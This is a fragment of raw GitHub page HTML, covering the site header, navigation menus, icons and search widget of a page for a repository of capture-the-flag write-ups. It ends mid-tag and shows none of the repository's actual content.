<script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-94fd67-04fa93bb158a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/sessions-9920eaa99f50.js"></script><header class="Header-old header-logged-out js-details-container Details position-relative f4 py-3" role="banner"> <button type="button" class="Header-backdrop d-lg-none border-0 position-fixed top-0 left-0 width-full height-full js-details-target" aria-label="Toggle navigation"> <span>Toggle navigation</span> </button>
<div class="container-xl d-flex flex-column flex-lg-row flex-items-center p-responsive height-full position-relative z-1"> <div class="d-flex flex-justify-between flex-items-center width-full width-lg-auto"> <svg height="32" aria-hidden="true" viewBox="0 0 16 16" version="1.1" width="32" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg>
<div class="flex-1"> Sign up </div>
<div class="flex-1 flex-order-2 text-right"> <button aria-label="Toggle navigation" aria-expanded="false" type="button" data-view-component="true" class="js-details-target Button--link Button--medium Button d-lg-none color-fg-inherit p-1"> <span> <span><div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div></span> </span></button> </div> </div>
<div class="HeaderMenu--logged-out p-responsive height-fit position-lg-relative d-lg-flex flex-column flex-auto pt-7 pb-4 top-0"> <div class="header-menu-wrapper d-flex flex-column flex-self-end flex-lg-row flex-justify-between flex-auto p-3 p-lg-0 rounded rounded-lg-0 mt-3 mt-lg-0"> <nav class="mt-0 px-3 px-lg-0 mb-3 mb-lg-0" aria-label="Global"> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Product <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 d-lg-flex dropdown-menu-wide">
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-workflow color-fg-subtle mr-3"> <path d="M1 3a2 2 0 0 1 2-2h6.5a2 2 0 0 1 2 2v6.5a2 2 0 0 1-2 2H7v4.063C7 16.355 7.644 17 8.438 17H12.5v-2.5a2 2 0 0 1 2-2H21a2 2 0 0 1 2 2V21a2 2 0 0 1-2 2h-6.5a2 2 0 0 1-2-2v-2.5H8.437A2.939 2.939 0 0 1 5.5 15.562V11.5H3a2 2 0 0 1-2-2Zm2-.5a.5.5 0 0 0-.5.5v6.5a.5.5 0 0 0 .5.5h6.5a.5.5 0 0 0 .5-.5V3a.5.5 0 0 0-.5-.5ZM14.5 14a.5.5 0 0 0-.5.5V21a.5.5 0 0 0 .5.5H21a.5.5 0 0 0 .5-.5v-6.5a.5.5 0 0 0-.5-.5Z"></path></svg> <div> <div class="color-fg-default h4">Actions</div> Automate any workflow </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-package color-fg-subtle mr-3"> <path d="M12.876.64V.639l8.25 4.763c.541.313.875.89.875 1.515v9.525a1.75 1.75 0 0 1-.875 1.516l-8.25 4.762a1.748 1.748 0 0 1-1.75 0l-8.25-4.763a1.75 1.75 0 0 1-.875-1.515V6.917c0-.625.334-1.202.875-1.515L11.126.64a1.748 1.748 0 0 1 1.75 0Zm-1 1.298L4.251 6.34l7.75 4.474 7.75-4.474-7.625-4.402a.248.248 0 0 0-.25 0Zm.875 19.123 7.625-4.402a.25.25 0 0 0 .125-.216V7.639l-7.75 4.474ZM3.501 7.64v8.803c0 .09.048.172.125.216l7.625 4.402v-8.947Z"></path></svg> <div> <div class="color-fg-default h4">Packages</div> Host and manage packages </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-shield-check color-fg-subtle mr-3"> <path d="M16.53 9.78a.75.75 0 0 0-1.06-1.06L11 13.19l-1.97-1.97a.75.75 0 0 0-1.06 1.06l2.5 2.5a.75.75 0 0 0 1.06 0l5-5Z"></path><path d="m12.54.637 8.25 2.675A1.75 1.75 0 0 1 22 4.976V10c0 6.19-3.771 10.704-9.401 12.83a1.704 1.704 0 0 1-1.198 0C5.77 20.705 2 16.19 2 10V4.976c0-.758.489-1.43 1.21-1.664L11.46.637a1.748 1.748 0 0 1 1.08 0Zm-.617 1.426-8.25 2.676a.249.249 0 0 0-.173.237V10c0 5.46 3.28 9.483 8.43 11.426a.199.199 0 0 0 .14 0C17.22 19.483 20.5 15.461 20.5 10V4.976a.25.25 0 0 0-.173-.237l-8.25-2.676a.253.253 0 0 0-.154 0Z"></path></svg> <div> <div class="color-fg-default h4">Security</div> Find and fix vulnerabilities </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-codespaces color-fg-subtle mr-3"> <path d="M3.5 3.75C3.5 2.784 4.284 2 5.25 2h13.5c.966 0 1.75.784 1.75 1.75v7.5A1.75 1.75 0 0 1 18.75 13H5.25a1.75 1.75 0 0 1-1.75-1.75Zm-2 12c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v4a1.75 1.75 0 0 1-1.75 1.75H3.25a1.75 1.75 0 0 1-1.75-1.75ZM5.25 3.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h13.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Zm-2 12a.25.25 0 0 0-.25.25v4c0 .138.112.25.25.25h17.5a.25.25 0 0 0 .25-.25v-4a.25.25 0 0 0-.25-.25Z"></path><path d="M10 17.75a.75.75 0 0 1 .75-.75h6.5a.75.75 0 0 1 0 1.5h-6.5a.75.75 0 0 1-.75-.75Zm-4 0a.75.75 0 0 1 .75-.75h.5a.75.75 0 0 1 0 1.5h-.5a.75.75 0 0 1-.75-.75Z"></path></svg> <div> <div class="color-fg-default h4">Codespaces</div> Instant dev environments </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-copilot color-fg-subtle mr-3"> <path d="M9.75 14a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Zm4.5 0a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Z"></path><path d="M12 2c2.214 0 4.248.657 5.747 1.756.136.099.268.204.397.312.584.235 1.077.546 1.474.952.85.869 1.132 2.037 1.132 3.368 0 .368-.014.733-.052 1.086l.633 1.478.043.022A4.75 4.75 0 0 1 24 15.222v1.028c0 .529-.309.987-.565 1.293-.28.336-.636.653-.966.918a13.84 13.84 0 0 1-1.299.911l-.024.015-.006.004-.039.025c-.223.135-.45.264-.68.386-.46.245-1.122.571-1.941.895C16.845 21.344 14.561 22 12 22c-2.561 0-4.845-.656-6.479-1.303a19.046 19.046 0 0 1-1.942-.894 14.081 14.081 0 0 1-.535-.3l-.144-.087-.04-.025-.006-.004-.024-.015a13.16 13.16 0 0 1-1.299-.911 6.913 6.913 0 0 1-.967-.918C.31 17.237 0 16.779 0 16.25v-1.028a4.75 4.75 0 0 1 2.626-4.248l.043-.022.633-1.478a10.195 10.195 0 0 1-.052-1.086c0-1.331.282-2.498 1.132-3.368.397-.406.89-.717 1.474-.952.129-.108.261-.213.397-.312C7.752 2.657 9.786 2 12 2Zm-8 9.654v6.669a17.59 17.59 0 0 0 2.073.98C7.595 19.906 9.686 20.5 12 20.5c2.314 0 4.405-.594 5.927-1.197a17.59 17.59 0 0 0 2.073-.98v-6.669l-.038-.09c-.046.061-.095.12-.145.177-.793.9-2.057 1.259-3.782 1.259-1.59 0-2.738-.544-3.508-1.492a4.323 4.323 0 0 1-.355-.508h-.344a4.323 4.323 0 0 1-.355.508C10.704 12.456 9.555 13 7.965 13c-1.725 0-2.989-.359-3.782-1.259a3.026 3.026 0 0 1-.145-.177Zm6.309-1.092c.445-.547.708-1.334.851-2.301.057-.357.087-.718.09-1.079v-.031c-.001-.762-.166-1.26-.43-1.568l-.008-.01c-.341-.391-1.046-.689-2.533-.529-1.505.163-2.347.537-2.824 1.024-.462.473-.705 1.18-.705 2.32 0 .605.044 1.087.135 1.472.092.384.231.672.423.89.365.413 1.084.75 2.657.75.91 0 1.527-.223 1.964-.564.14-.11.268-.235.38-.374Zm2.504-2.497c.136 1.057.403 1.913.878 2.497.442.545 1.134.938 2.344.938 1.573 0 2.292-.337 2.657-.751.384-.435.558-1.151.558-2.361 0-1.14-.243-1.847-.705-2.319-.477-.488-1.318-.862-2.824-1.025-1.487-.161-2.192.139-2.533.529-.268.308-.437.808-.438 1.578v.02c.002.299.023.598.063.894Z"></path></svg> <div> <div class="color-fg-default h4">Copilot</div> Write better code with AI </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-code-review color-fg-subtle mr-3"> <path d="M10.3 6.74a.75.75 0 0 1-.04 1.06l-2.908 2.7 2.908 2.7a.75.75 0 1 1-1.02 1.1l-3.5-3.25a.75.75 0 0 1 0-1.1l3.5-3.25a.75.75 0 0 1 1.06.04Zm3.44 1.06a.75.75 0 1 1 1.02-1.1l3.5 3.25a.75.75 0 0 1 0 1.1l-3.5 3.25a.75.75 0 1 1-1.02-1.1l2.908-2.7-2.908-2.7Z"></path><path d="M1.5 4.25c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v12.5a1.75 1.75 0 0 1-1.75 1.75h-9.69l-3.573 3.573A1.458 1.458 0 0 1 5 21.043V18.5H3.25a1.75 1.75 0 0 1-1.75-1.75ZM3.25 4a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h2.5a.75.75 0 0 1 .75.75v3.19l3.72-3.72a.749.749 0 0 1 .53-.22h10a.25.25 0 0 0 .25-.25V4.25a.25.25 0 0 0-.25-.25Z"></path></svg> <div> <div class="color-fg-default h4">Code review</div> Manage code changes </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-issue-opened color-fg-subtle mr-3"> <path d="M12 1c6.075 0 11 4.925 11 11s-4.925 11-11 11S1 18.075 1 12 5.925 1 12 1ZM2.5 12a9.5 9.5 0 0 0 9.5 9.5 9.5 9.5 0 0 0 9.5-9.5A9.5 9.5 0 0 0 12 2.5 9.5 9.5 0 0 0 2.5 12Zm9.5 2a2 2 0 1 1-.001-3.999A2 2 0 0 1 12 14Z"></path></svg> <div> <div class="color-fg-default h4">Issues</div> Plan and track work </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-comment-discussion color-fg-subtle mr-3"> <path d="M1.75 1h12.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 14.25 14H8.061l-2.574 2.573A1.458 1.458 0 0 1 3 15.543V14H1.75A1.75 1.75 0 0 1 0 12.25v-9.5C0 1.784.784 1 1.75 1ZM1.5 2.75v9.5c0 .138.112.25.25.25h2a.75.75 0 0 1 .75.75v2.19l2.72-2.72a.749.749 0 0 1 .53-.22h6.5a.25.25 0 0 0 .25-.25v-9.5a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25Z"></path><path d="M22.5 8.75a.25.25 0 0 0-.25-.25h-3.5a.75.75 0 0 1 0-1.5h3.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 22.25 20H21v1.543a1.457 1.457 0 0 1-2.487 1.03L15.939 20H10.75A1.75 1.75 0 0 1 9 18.25v-1.465a.75.75 0 0 1 1.5 0v1.465c0 .138.112.25.25.25h5.5a.75.75 0 0 1 .53.22l2.72 2.72v-2.19a.75.75 0 0 1 .75-.75h2a.25.25 0 0 0 .25-.25v-9.5Z"></path></svg> <div> <div class="color-fg-default h4">Discussions</div> Collaborate outside of code </div>
Explore
All features
Documentation
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
GitHub Skills
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
Blog
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
</div>
<button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Solutions <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4"> For
Enterprise
Teams
Startups
Education
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
By Solution
CI/CD & Automation
DevOps
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
DevSecOps
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
Case Studies
Customer Stories
Resources
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
</div>
<button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Open Source <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4">
<div> <div class="color-fg-default h4">GitHub Sponsors</div> Fund open source developers </div>
<div> <div class="color-fg-default h4">The ReadME Project</div> GitHub community articles </div>
Repositories
Topics
Trending
Collections
</div>
Pricing
</nav>
<div class="d-lg-flex flex-items-center px-3 px-lg-0 mb-3 mb-lg-0 text-center text-lg-left"> <div class="d-lg-flex min-width-0 mb-2 mb-lg-0">
<div class="header-search flex-auto position-relative js-site-search flex-self-stretch flex-md-self-auto mb-3 mb-md-0 mr-0 mr-md-3 scoped-search site-scoped-search js-jump-to"> <div class="position-relative"> </option></form><form class="js-site-search-form" role="search" aria-label="Site" data-scope-type="Repository" data-scope-id="268353024" data-scoped-search-url="/noob-atbash/CTF-writeups/search" data-owner-scoped-search-url="/users/noob-atbash/search" data-unscoped-search-url="/search" data-turbo="false" action="/noob-atbash/CTF-writeups/search" accept-charset="UTF-8" method="get"> <label class="form-control header-search-wrapper input-sm p-0 js-chromeless-input-container header-search-wrapper-jump-to position-relative d-flex flex-justify-between flex-items-center"> <input type="text" class="form-control js-site-search-focus header-search-input jump-to-field js-jump-to-field js-site-search-field is-clearable" data-hotkey=s,/ name="q" placeholder="Search" data-unscoped-placeholder="Search GitHub" data-scoped-placeholder="Search" autocapitalize="off" role="combobox" aria-haspopup="listbox" aria-expanded="false" aria-autocomplete="list" aria-controls="jump-to-results" aria-label="Search" data-jump-to-suggestions-path="/_graphql/GetSuggestedNavigationDestinations" spellcheck="false" autocomplete="off" > <input type="hidden" data-csrf="true" class="js-data-jump-to-suggestions-path-csrf" value="ypvwbScdmvQWa3+CcjEbDcw+nC86oQX1HTmnEee2VnFT+SbHTz73us7sHNGWWhNjTX3EKEfqphcM67m4iLL6+g==" /> <input type="hidden" class="js-site-search-type-field" name="type" > <svg xmlns="http://www.w3.org/2000/svg" width="22" height="20" aria-hidden="true" class="mr-1 header-search-key-slash"><path fill="none" stroke="#979A9C" opacity=".4" d="M3.5.5h12c1.7 0 3 1.3 3 3v13c0 1.7-1.3 3-3 3h-12c-1.7 0-3-1.3-3-3v-13c0-1.7 1.3-3 3-3z"></path><path fill="#979A9C" d="M11.8 6L8 15.1h-.9L10.8 6h1z"></path></svg>
<div class="Box position-absolute overflow-hidden d-none jump-to-suggestions js-jump-to-suggestions-container">
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<span>No suggested jump to results</span>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" 